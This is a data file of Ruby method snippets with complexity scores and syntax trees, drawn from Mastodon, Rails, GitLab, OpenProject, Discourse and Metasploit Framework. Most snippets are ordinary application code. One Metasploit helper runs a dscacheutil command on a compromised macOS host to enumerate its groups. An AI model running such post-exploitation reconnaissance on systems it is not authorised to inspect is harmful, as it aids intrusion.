{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/api/v1/lists/accounts_controller.rb","start_line":33,"raw_source":"def load_accounts\n    if unlimited?\n      @list.accounts.without_suspended.includes(:account_stat, :user).all\n    else\n      @list.accounts.without_suspended.includes(:account_stat, :user).paginate_by_max_id(limit_param(DEFAULT_ACCOUNTS_LIMIT), params[:max_id], params[:since_id])\n    end\n  end","complexity_score":20.1,"ast_json":"{\"type\":\"def\",\"children\":[\"load_accounts\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"unlimited?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@list\"]},\"accounts\"]},\"without_suspended\"]},\"includes\",{\"type\":\"sym\",\"children\":[\"account_stat\"]},{\"type\":\"sym\",\"children\":[\"user\"]}]},\"all\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@list\"]},\"accounts\"]},\"without_suspended\"]},\"includes\",{\"type\":\"sym\",\"children\":[\"account_stat\"]},{\"type\":\"sym\",\"children\":[\"user\"]}]},\"paginate_by_max_id\",{\"type\":\"send\",\"children\":[null,\"limit_param\",{\"type\":\"const\",\"children\":[null,\"DEFAULT_ACCOUNTS_LIMIT\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"max_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"since_id\"]}]}]}]}]}","id":"08d3ca69-e7a8-4e99-8ad3-e2a54b700ca2"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/post/osx/system.rb","start_line":106,"raw_source":"def get_groups\n    cmd_output = cmd_exec(\"/usr/bin/dscacheutil -q group\")\n    groups = []\n    groups_arry = cmd_output.split(\"\\n\\n\")\n    groups_arry.each do |u|\n      entry = Hash.new\n      u.each_line do |l|\n        field,val = l.chomp.split(\": \")\n        next if field == \"password\"\n        unless val.nil?\n          entry[field] = val.strip\n        end\n      end\n      groups << entry\n    end\n    return groups\n  end","complexity_score":28.8,"ast_json":"{\"type\":\"def\",\"children\":[\"get_groups\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cmd_output\",{\"type\":\"send\",\"children\":[null,\"cmd_exec\",{\"type\":\"str\",\"children\":[\"/usr/bin/dscacheutil -q group\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"groups\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"groups_arry\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd_output\"]},\"split\",{\"type\":\"str\",\"children\":[\"\\n\\n\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"groups_arry\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"u\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"entry\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},\"new\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"u\"]},\"each_line\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"l\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"field\"]},{\"type\":\"lvasgn\",\"children\":[\"val\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"l\"]},\"chomp\"]},\"split\",{\"type\":\"str\",\"children\":[\": \"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field\"]},\"==\",{\"type\":\"str\",\"children\":[\"password\"]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"val\"]},\"nil?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entry\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"field\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"val\"]},\"strip\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"groups\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"entry\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"groups\"]}]}]}]}","id":"a2b46c47-f562-4db2-afdd-e61337666556"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/integration_test.rb","start_line":255,"raw_source":"def redirect_307\n      redirect_to action_url(\"post\"), status: 307\n    end","complexity_score":2.5,"ast_json":"{\"type\":\"def\",\"children\":[\"redirect_307\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[null,\"action_url\",{\"type\":\"str\",\"children\":[\"post\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"int\",\"children\":[307]}]}]}]}]}","id":"4704bd31-7ce7-4932-87c7-c30a66ee862a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/background_migration/remove_namespace_from_os_type_sbom_components.rb","start_line":41,"raw_source":"def delete_os_namespace_prefix(previous_name)\n        _, new_name = previous_name.split('/', 2)\n\n        new_name\n      end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"delete_os_namespace_prefix\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"previous_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"_\"]},{\"type\":\"lvasgn\",\"children\":[\"new_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"previous_name\"]},\"split\",{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"lvar\",\"children\":[\"new_name\"]}]}]}","id":"90ca6b32-cbaa-4906-82de-ca0f646a7071"}
{"repo_name":"rails","file_path":"./repos/rails/tools/rail_inspector/lib/rail_inspector/visitor/load.rb","start_line":8,"raw_source":"def initialize(&block)\n        @current_loads = block\n        @namespace_stack = []\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@current_loads\",{\"type\":\"lvar\",\"children\":[\"block\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@namespace_stack\",{\"type\":\"array\",\"children\":[]}]}]}]}","id":"c20a5b90-a7dc-4f4e-9061-35a13f7fb181"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/contracts/authentication/omniauth_auth_hash_contract.rb","start_line":53,"raw_source":"def validate_auth_hash_not_expired\n      return unless auth_hash&.dig(\"timestamp\")\n\n      if auth_hash[\"timestamp\"] < Time.now - 30.minutes\n        errors.add(:base, I18n.t(:error_omniauth_registration_timed_out))\n      end\n    end","complexity_score":16.0,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_auth_hash_not_expired\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"auth_hash\"]},\"dig\",{\"type\":\"str\",\"children\":[\"timestamp\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"auth_hash\"]},\"[]\",{\"type\":\"str\",\"children\":[\"timestamp\"]}]},\"<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[30]},\"minutes\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"base\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"sym\",\"children\":[\"error_omniauth_registration_timed_out\"]}]}]},null]}]}]}","id":"e75a9359-390f-4256-86ea-2f1af9b73316"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/components/welcome_banner.rb","start_line":25,"raw_source":"def has_logged_in_title?(username)\n        has_css?(\n          \".welcome-banner .welcome-banner__title\",\n          text:\n            I18n.t(\"js.welcome_banner.header.logged_in_members\", preferred_display_name: username),\n        )\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"has_logged_in_title?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"username\"]}]},{\"type\":\"send\",\"children\":[null,\"has_css?\",{\"type\":\"str\",\"children\":[\".welcome-banner .welcome-banner__title\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"js.welcome_banner.header.logged_in_members\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"preferred_display_name\"]},{\"type\":\"lvar\",\"children\":[\"username\"]}]}]}]}]}]}]}]}","id":"40a91c28-fbc1-4b1a-8039-a53d65752b3a"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/reporting/app/models/entry.rb","start_line":66,"raw_source":"def all(*args)\n        ActiveSupport::Deprecation.new.warn(\"Passing arguments is deprecated\") if args.any?\n        find_many :all # *args\n      end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"all\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"any?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"Deprecation\"]},\"new\"]},\"warn\",{\"type\":\"str\",\"children\":[\"Passing arguments is deprecated\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"find_many\",{\"type\":\"sym\",\"children\":[\"all\"]}]}]}]}","id":"9e9424ce-2256-4309-9e3f-3bfc3904eecb"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/merge_request.rb","start_line":2057,"raw_source":"def update_head_pipeline\n    find_diff_head_pipeline.try do |pipeline|\n      self.head_pipeline = pipeline\n\n      next unless head_pipeline_id_changed?\n\n      update_columns(\n        head_pipeline_id: head_pipeline.id,\n        retargeted: false\n      )\n    end\n  end","complexity_score":11.0,"ast_json":"{\"type\":\"def\",\"children\":[\"update_head_pipeline\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find_diff_head_pipeline\"]},\"try\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pipeline\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"head_pipeline=\",{\"type\":\"lvar\",\"children\":[\"pipeline\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"head_pipeline_id_changed?\"]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"update_columns\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"head_pipeline_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"head_pipeline\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"retargeted\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}]}","id":"46d1f3ba-10db-453f-a171-56622a1aafb4"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/iax2/client.rb","start_line":187,"raw_source":"def send_regreq_chall_response(call, chall)\n    data =\n      [ Constants::IAX_SUBTYPE_REGREQ ].pack('C') +\n      create_ie(Constants::IAX_IE_USERNAME, self.username) +\n      create_ie(Constants::IAX_IE_CHALLENGE_RESP, ::Digest::MD5.hexdigest( chall + self.password )) +\n      create_ie(Constants::IAX_IE_REG_REFRESH, [Constants::IAX_DEFAULT_REG_REFRESH].pack('n'))\n\n    send_data( call, create_pkt( call.scall, call.dcall, call.timestamp, call.oseq, call.iseq, Constants::IAX_TYPE_IAX, data ) )\n  end","complexity_score":28.2,"ast_json":"{\"type\":\"def\",\"children\":[\"send_regreq_chall_response\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"call\"]},{\"type\":\"arg\",\"children\":[\"chall\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Constants\"]},\"IAX_SUBTYPE_REGREQ\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"C\"]}]},\"+\",{\"type\":\"send\",\"children\":[null,\"create_ie\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Constants\"]},\"IAX_IE_USERNAME\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"username\"]}]}]},\"+\",{\"type\":\"send\",\"children\":[null,\"create_ie\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Constants\"]},\"IAX_IE_CHALLENGE_RESP\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Digest\"]},\"MD5\"]},\"hexdigest\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chall\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"password\"]}]}]}]}]},\"+\",{\"type\":\"send\",\"children\":[null,\"create_ie\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Constants\"]},\"IAX_IE_REG_REFRESH\"]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Constants\"]},\"IAX_DEFAULT_REG_REFRESH\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"n\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"send_data\",{\"type\":\"lvar\",\"children\":[\"call\"]},{\"type\":\"send\",\"children\":[null,\"create_pkt\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"call\"]},\"scall\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"call\"]},\"dcall\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"call\"]},\"timestamp\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"call\"]},\"oseq\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"call\"]},\"iseq\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Constants\"]},\"IAX_TYPE_IAX\"]},{\"type\":\"lvar\",\"children\":[\"data\"]}]}]}]}]}","id":"58807a93-74e8-4e26-a665-5f1035c4d480"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/groups/base.rb","start_line":11,"raw_source":"def by_search(items, exact_matches_first: false)\n      return items if params[:search].blank?\n\n      items.search(params[:search], include_parents: true, exact_matches_first: exact_matches_first)\n    end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"by_search\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"items\"]},{\"type\":\"kwoptarg\",\"children\":[\"exact_matches_first\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"search\"]}]},\"blank?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"items\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"items\"]},\"search\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"search\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"include_parents\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"exact_matches_first\"]},{\"type\":\"lvar\",\"children\":[\"exact_matches_first\"]}]}]}]}]}]}","id":"cc1bd14c-ae96-415a-8649-3ed1bb681a17"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/git/repository.rb","start_line":1340,"raw_source":"def gitaly_submodule_url_for(ref, path)\n        # We don't care about the contents so 1 byte is enough. Can't request 0 bytes, 0 means unlimited.\n        commit_object = gitaly_commit_client.tree_entry(ref, path, 1)\n\n        return unless commit_object && commit_object.type == :COMMIT\n\n        urls = gitaly_submodule_urls_for(ref)\n        urls && urls[path]\n      end","complexity_score":12.0,"ast_json":"{\"type\":\"def\",\"children\":[\"gitaly_submodule_url_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ref\"]},{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"commit_object\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"gitaly_commit_client\"]},\"tree_entry\",{\"type\":\"lvar\",\"children\":[\"ref\"]},{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"commit_object\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"commit_object\"]},\"type\"]},\"==\",{\"type\":\"sym\",\"children\":[\"COMMIT\"]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"urls\",{\"type\":\"send\",\"children\":[null,\"gitaly_submodule_urls_for\",{\"type\":\"lvar\",\"children\":[\"ref\"]}]}]},{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"urls\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"urls\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]}]}","id":"a8970f20-f0a4-407a-97e1-4b23687dcbd0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20240626185807_remove_source_package_name_from_sbom_components_table.rb","start_line":13,"raw_source":"def down\n    with_lock_retries do\n      add_column :sbom_components, :source_package_name, :text, if_not_exists: true\n    end\n\n    add_text_limit :sbom_components, :source_package_name, 255\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"sbom_components\"]},{\"type\":\"sym\",\"children\":[\"source_package_name\"]},{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"if_not_exists\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_text_limit\",{\"type\":\"sym\",\"children\":[\"sbom_components\"]},{\"type\":\"sym\",\"children\":[\"source_package_name\"]},{\"type\":\"int\",\"children\":[255]}]}]}]}","id":"075ce9f1-27f0-4966-986a-f89337a5482c"}
{"repo_name":"hooks","file_path":"./repos/hooks/spec/acceptance/plugins/handlers/team_1_handler.rb","start_line":11,"raw_source":"def call(payload:, headers:, env:, config:)\n    log.debug(\"got a call to #{self.class.name} with payload: #{payload.inspect}\")\n\n    # demo the global retryable instance is a kinda silly way\n    fail_on_first_time = true\n    foo = Retryable.with_context(:default) do\n      if fail_on_first_time\n        fail_on_first_time = false\n        raise StandardError, \"This is a demo error to show retryable in action\"\n      end\n\n      \"bar\"\n    end\n    log.debug(\"we got back the value of foo: #{foo}\")\n\n    # Process the payload based on type\n    if payload.is_a?(Hash)\n      event_type = payload[\"event_type\"] || \"unknown\"\n\n      case event_type\n      when \"deployment\"\n        handle_deployment(payload, config)\n      when \"alert\"\n        handle_alert(payload, config)\n      else\n        handle_generic(payload, config)\n      end\n    else\n      # Handle raw string payload\n      {\n        status: \"processed\",\n        handler: \"Team1Handler\",\n        message: \"Raw payload processed\",\n        payload_size: payload.length,\n        environment: config.dig(:opts, :env),\n        timestamp: Time.now.utc.iso8601\n      }\n    end\n  end","complexity_score":35.9,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"payload\"]},{\"type\":\"kwarg\",\"children\":[\"headers\"]},{\"type\":\"kwarg\",\"children\":[\"env\"]},{\"type\":\"kwarg\",\"children\":[\"config\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"log\"]},\"debug\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"got a call to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\" with payload: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"inspect\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"fail_on_first_time\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"foo\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Retryable\"]},\"with_context\",{\"type\":\"sym\",\"children\":[\"default\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fail_on_first_time\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"fail_on_first_time\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"StandardError\"]},{\"type\":\"str\",\"children\":[\"This is a demo error to show retryable in action\"]}]}]},null]},{\"type\":\"str\",\"children\":[\"bar\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"log\"]},\"debug\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"we got back the value of foo: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"foo\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Hash\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"event_type\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"[]\",{\"type\":\"str\",\"children\":[\"event_type\"]}]},{\"type\":\"str\",\"children\":[\"unknown\"]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event_type\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"deployment\"]},{\"type\":\"send\",\"children\":[null,\"handle_deployment\",{\"type\":\"lvar\",\"children\":[\"payload\"]},{\"type\":\"lvar\",\"children\":[\"config\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"alert\"]},{\"type\":\"send\",\"children\":[null,\"handle_alert\",{\"type\":\"lvar\",\"children\":[\"payload\"]},{\"type\":\"lvar\",\"children\":[\"config\"]}]}]},{\"type\":\"send\",\"children\":[null,\"handle_generic\",{\"type\":\"lvar\",\"children\":[\"payload\"]},{\"type\":\"lvar\",\"children\":[\"config\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"str\",\"children\":[\"processed\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"handler\"]},{\"type\":\"str\",\"children\":[\"Team1Handler\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"Raw payload processed\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"payload_size\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"length\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"environment\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"dig\",{\"type\":\"sym\",\"children\":[\"opts\"]},{\"type\":\"sym\",\"children\":[\"env\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"timestamp\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"utc\"]},\"iso8601\"]}]}]}]}]}]}","id":"b6feda4d-1deb-41e5-a51a-066287f0c368"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/base_test.rb","start_line":631,"raw_source":"def test_equality_of_relation_and_array\n    car = Car.create!\n    car.bulbs.build\n    car.save\n    bulbs_of_car = Bulb.where(car_id: car.id)\n\n    assert_equal bulbs_of_car, car.bulbs.to_a, \"Relation should be comparable with Array\"\n  end","complexity_score":12.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_equality_of_relation_and_array\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"car\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Car\"]},\"create!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"car\"]},\"bulbs\"]},\"build\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"car\"]},\"save\"]},{\"type\":\"lvasgn\",\"children\":[\"bulbs_of_car\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Bulb\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"car_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"car\"]},\"id\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"bulbs_of_car\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"car\"]},\"bulbs\"]},\"to_a\"]},{\"type\":\"str\",\"children\":[\"Relation should be comparable with Array\"]}]}]}]}","id":"f7440f70-70d6-472b-ade0-ee8db218abbc"}
